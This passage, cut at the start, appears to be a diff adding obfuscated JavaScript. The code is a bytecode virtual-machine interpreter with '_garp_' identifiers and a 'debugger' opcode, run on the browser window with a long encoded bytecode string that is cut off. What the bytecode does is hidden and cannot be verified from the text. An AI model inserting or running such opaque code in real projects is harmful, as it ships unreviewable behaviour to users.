0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_12577[4] = _garp_bb090[_garp_bb090.length - 1]; + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) || _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) | _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1) + , _garp_a3d40 = _garp_73234(p0, p1) + 1; + _garp_7b69a._garp_cc54b[_garp_7b69a._garp_8b4] = _garp_a3d40; + _garp_6ab4(_garp_a3d40, _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return _garp_1655e(p4, p6); + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1) + , _garp_a3d40 = _garp_73234(p0, p1); + _garp_6ab4(_garp_a3d40--, _garp_8d381, _garp_8d381, 0); + ref._garp_cc54b[_garp_7b69a._garp_8b4] = _garp_a3d40; + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(-_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1) + , _garp_a3d40 = _garp_73234(p0, p1); + _garp_6ab4(_garp_a3d40++, _garp_8d381, _garp_8d381, 0); + _garp_7b69a._garp_cc54b[_garp_7b69a._garp_8b4] = _garp_a3d40; + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + var _garp_074d2 = _garp_ce331(); + while (_garp_074d2 < _garp_b725a) { + _garp_53c0(); + } + return Infinity; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) == _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_40b = _garp_73234(p0, p1) + , _garp_a3d40 = {}; + _garp_6ab4(_garp_21983(_garp_40b, _garp_a3d40), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(~_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_168ea(); + _garp_18a5d(_garp_dc33b._garp_7ab6d); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_11791[p1] = undefined; + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) - _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) > _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_18a5d(null); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1); + _garp_6ab4(delete _garp_7b69a._garp_cc54b[_garp_7b69a._garp_8b4], _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) + _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) / _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1)instanceof _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_37610 = _garp_11bd.slice(_garp_73234(p0, p1), _garp_73234(p2, p3) + 1) + , _garp_b8a7a = _garp_11791; + _garp_6ab4(function() { + _garp_dc33b = { + _garp_cabec: this || _garp_d3e7c, + _garp_9417d: _garp_dc33b, + _garp_ca8c: arguments, + _garp_7ab6d: _garp_b8a7a + }; + _garp_2a087(_garp_37610); + _garp_dc33b = _garp_dc33b._garp_9417d; + return _garp_70118(_garp_12577[0]); + }, _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1)in _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) & _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_0dac9 = _garp_73234(p0, p1); + if (_garp_2450a.length < _garp_0dac9) { + return ++p4; + } + var _garp_98eec = _garp_2450a.splice(_garp_2450a.length - _garp_0dac9, _garp_0dac9).map(_garp_70118) + , _garp_7b69a = _garp_2450a.pop() + , _garp_6e472 = _garp_70118(_garp_7b69a); + _garp_6ab4(_garp_6e472.apply(typeof _garp_7b69a._garp_cc54b == "undefined" ? _garp_d3e7c : _garp_7b69a._garp_cc54b, _garp_98eec), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) && _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(0, _garp_70118(_garp_d66b0(p0, p1)), _garp_73234(p2, p3), 1); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) !== _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) < _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) >> _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_12577[4] = _garp_bb090.pop(); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return (!_garp_70118(_garp_12577[0])) ? _garp_73234(p0, p1) : ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) != _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_53c0(); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_0dac9 = _garp_73234(p0, p1); + if (_garp_2450a.length < _garp_0dac9) { + return ++p4; + } + var _garp_98eec = _garp_2450a.splice(_garp_2450a.length - _garp_0dac9, _garp_0dac9).map(_garp_70118) + , _garp_7b69a = _garp_2450a.pop() + , _garp_6e472 = _garp_70118(_garp_7b69a); + _garp_98eec.unshift(null); + _garp_6ab4(new (Function.prototype.bind.apply(_garp_6e472, _garp_98eec)), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4({}, _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_40b = _garp_73234(p0, p1); + _garp_6ab4(_garp_d3a1(_garp_40b), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) <= _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) << _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_53c0(); + _garp_6ab4(_garp_8d381, _garp_8d381, _garp_8d381, 0, 0); + _garp_ce331(); + return Infinity; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(typeof _garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(+_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) === _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1) + , _garp_a3d40 = _garp_73234(p0, p1) - 1; + _garp_7b69a._garp_cc54b[_garp_7b69a._garp_8b4] = _garp_a3d40; + _garp_6ab4(_garp_a3d40, _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_12577[3] = _garp_27860(_garp_2450a.length, 0, 0, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return _garp_70118(_garp_12577[0]) ? _garp_73234(p0, p1) : ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) >= _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_12577[0] = _garp_2450a[_garp_2450a.length - 1]; + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) >>> _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return _garp_d6c76; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) ^ _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + var _garp_7b69a = _garp_d66b0(p0, p1) + , _garp_a3d40 = _garp_73234(p2, p3); + _garp_6ab4(_garp_7b69a._garp_cc54b[_garp_7b69a._garp_8b4] = _garp_a3d40, _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_6ab4(_garp_73234(p0, p1) * _garp_73234(p2, p3), _garp_8d381, _garp_8d381, 0); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_bb090.push(_garp_12577[0]); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return _garp_73234(p0, p1); + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_2450a.push(_garp_12577[0]); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + debugger ;return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + throw _garp_2450a.pop(); + } + , function(p0, p1, p2, p3, p4, p5, p6) { + _garp_12577[1] = _garp_2450a.pop(); + return ++p4; + } + , function(p0, p1, p2, p3, p4, p5, p6) { + return ++p4; + } + ]; + return _garp_2a087(_garp_11bd); + } + ; + } + ;Shanks()(window, { + "b": "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